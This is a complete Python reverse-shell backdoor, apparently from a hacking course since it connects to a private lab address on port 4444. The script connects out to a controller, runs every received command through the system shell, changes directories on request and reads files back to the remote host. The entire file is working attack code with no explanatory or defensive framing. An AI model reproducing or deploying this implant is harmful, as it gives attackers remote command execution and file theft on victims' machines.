#!/usr/bin/env python

import socket, subprocess, json, os

class Backdoor:
	def __init__(self, ip, port):
		self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.connection.connect((ip, port))

	def change_working_directory_to(self,path):
		os.chdir(path)
		return ("[+] Changing working directory" + path).encode("utf-8")

	def reliable_send(self, data):
		json_data = json.dumps(data.decode("utf-8"))
		self.connection.send(json_data.encode("utf-8"))

	def reliable_receive(self):
		json_data =  ""
		while True:
			try:
				json_data += self.connection.recv(1024).decode("utf-8")
				return json.loads(json_data)
			except json.decoder.JSONDecodeError:
				pass

	def read_file(self, path):
		with open(path, "rb") as file:
			return file.read()

	def execute_system_command(self, command):
		return subprocess.check_output(command, shell=True)

	def run(self):
		while True:
			command = self.reliable_receive()
			if command[0] == "exit":
				self.connection.close()
				exit()
			elif command[0] == "cd" and len(command) > 1:
				command_result = self.change_working_directory_to(command[1])
			elif command[0] == "download":
				command_result = self.read_file(command[1])
			else:
				command_result = self.execute_system_command(command)

			self.reliable_send(command_result)

my_backdoor = Backdoor("10.0.2.15", 4444)
my_backdoor.run()





